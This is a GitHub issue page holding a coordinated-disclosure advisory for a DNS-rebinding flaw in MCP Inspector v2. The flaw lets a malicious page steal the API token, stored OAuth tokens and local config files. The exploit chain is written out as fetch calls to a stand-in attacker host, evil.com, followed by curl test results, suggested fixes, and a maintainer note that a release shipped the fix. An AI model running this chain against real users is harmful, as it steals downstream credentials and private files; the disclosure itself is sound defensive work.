Repository navigation
[GHSA-vcc9-3xgm-p9v4] - [v2] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector #2779
Description
Advisory: GHSA-vcc9-3xgm-p9v4
Affected versions: `` 2.2.0
Reporter: @0xParth
Severity: not set | Reported: 2026-08-19
Priority score (2026-10-20, post-verification): Severity 5, Urgency 4, +1 security, Total 10 → High. Affected: v2 only, 2.0.0–2.11.0. Accepted 2026-10-20.
Summary
The CVE-2025-49596 fix added an auth token and an Origin check to the Inspector proxy. The
Origin check is documented in-code as DNS-rebinding protection
(server.ts:579: "This prevents DNS rebinding attacks by validating Origin header"), but it
does not hold, and combined with two other gaps it allows a malicious website to steal the
Inspector's API token and then read the proxy's stored secrets via a DNS-rebinding attack:
- The Origin middleware trusts requests with no
Originheader. Browsers omitOrigin
on same-origin GET requests, so after a rebind these pass. (server.ts:245-261:
"If no origin header (same-origin or non-browser client), allow request" ->next().) - There is no
Hostheader validation anywhere (the standard second half of DNS-rebinding
defense). Grep for host-header validation acrosscore/andclients/web/server/is empty. GET /(and the SPA fallbackGET *) serve the API token unauthenticated. These routes
live on the outer web app, outside the/api/*auth+origin middleware, and inject
window.__INSPECTOR_API_TOKEN__ = "<token>"into the returned HTML
(clients/web/server/server.ts:66-111,injectAuthToken).
Exploit chain (verified at code level)
Default deployment: proxy on loopback, port 6274, allowedOrigins = loopback forms only
(web-server-config.ts:275-295).
- Victim visits
http://evil.com:6274/(attacker controlsevil.com, serves on 6274). - Attacker rebinds
evil.com->127.0.0.1. Attacker JS runs:fetch('http://evil.com:6274/')— same-origin GET, noOriginheader -> hits the
Inspector outer appGET /-> returns HTML containing the API token. JS reads it
(same-origin, readable). Token stolen.fetch('http://evil.com:6274/api/storage/oauth', {headers:{'x-mcp-remote-auth':'Bearer '+token}})
— same-origin GET, noOrigin-> Origin middleware allows (no origin) -> auth middleware
validates the stolen token -> 200, returns stored OAuth access/refresh tokens
(store idoauth,core/auth/remote/storage-remote.ts).fetch('http://evil.com:6274/api/import-source?type=…')-> reads local client-config files
off disk (server.ts:2010-2024,readFileSync).GET /api/servers,GET /api/storage/client
(secrets merged back in) similarly readable.
- RCE stays blocked: the process-spawn endpoint is a
POST(/api/mcp/connect); browsers
sendOrigin: http://evil.com:6274on same-origin POSTs, which is not inallowedOrigins
-> 403 even with the stolen token. So impact is information disclosure, not code execution.
Impact
Theft of the Inspector API token, the OAuth access/refresh tokens the user configured for
connected MCP servers/services (real downstream credentials), server configs, and arbitrary
local client-config file contents, from any web page the victim visits, on a default localhost
deployment, subject to the browser lacking DNS-rebinding / Private Network Access mitigations
(the exact assumption the server-side Origin/Host checks exist to remove).
Verification (live, against the published package)
Ran the real published Inspector locally (npx @modelcontextprotocol/inspector, auth enabled,
default config) and confirmed every server-side precondition with curl. curl sends no Origin
header, which is exactly what a DNS-rebound same-origin GET sends:
T1 GET / (no auth, no Origin) -> HTML contains __INSPECTOR_API_TOKEN__ = "473d4e8d…"
T2 GET /api/config (token, no Origin) -> HTTP 200 # no-Origin bypasses the origin guard
T3 GET /api/config (token, Origin: evil) -> HTTP 403 # guard works for foreign origins
T4 GET /api/config (no token, no Origin) -> HTTP 401 # auth IS enforced -> the token matters
T5 GET /api/storage/oauth (token, no Origin) -> HTTP 200 # secret store reachable ({} on a fresh instance)
Interpretation: auth is genuinely enforced (T4=401), but GET / discloses the token with no
auth and no origin check (T1), and no-Origin requests bypass the origin guard that otherwise
blocks foreign origins (T2=200 vs T3=403), so a rebound same-origin GET carrying the stolen
token reads any /api route including the secret store (T5). The one step not staged locally is
the DNS-rebinding delivery itself (making a browser issue these as same-origin to
evil.com -> 127.0.0.1), which is a standard, well-documented browser technique; every
server-side link it relies on is verified above. Source refs also confirmed on 2.2.0:
no-Origin allow (core/mcp/remote/node/server.ts:245-261), no Host validation (grep),
token injection on GET //GET * (clients/web/server/server.ts:66-111).
Suggested remediation
- Validate the
Hostheader against the bound host/port on all routes (including the
outerGET /and static/SPA routes), rejecting requests whoseHostis not an allowed
loopback host:port. This is the piece that actually stops rebinding. - Do not treat a missing
Originas trusted for state-reading or secret-returning routes;
require the auth token (and/or a validatedHost) even whenOriginis absent. - Require the auth token (or a
Hostcheck) onGET /so the token is not disclosed to a
rebound same-origin request. Consider delivering the token via a mechanism not readable by a
cross-host attacker (e.g. only whenHostis validated).
Credit
Please credit 0xParth. Happy to review a patch and to coordinate a live PoC. Standard
coordinated-disclosure timeline (90 days or until a fixed release, whichever is sooner).
Activity
[-][GHSA-vcc9-3xgm-p9v4] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector[/-][+][GHSA-vcc9-3xgm-p9v4] - [v2] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector[/+]cliffhall commentedon Oct 22, 2026
Shipped in 2.12.0, published to npm under
latest. Advisory: GHSA-vcc9-3xgm-p9v4.Landed on
v2/mainin merge commit8d74f7a9, and reachedmainthrough the milestone merge #2769 (0cac110a). The fix commits:12399832fix(web): validate the Host header on the production web server4c31c6b7fix(web): restrict Host names to hostname characters, punycode allowed-host entries28eda4cbdocs(web): state the IP forms the Host allow-list accepts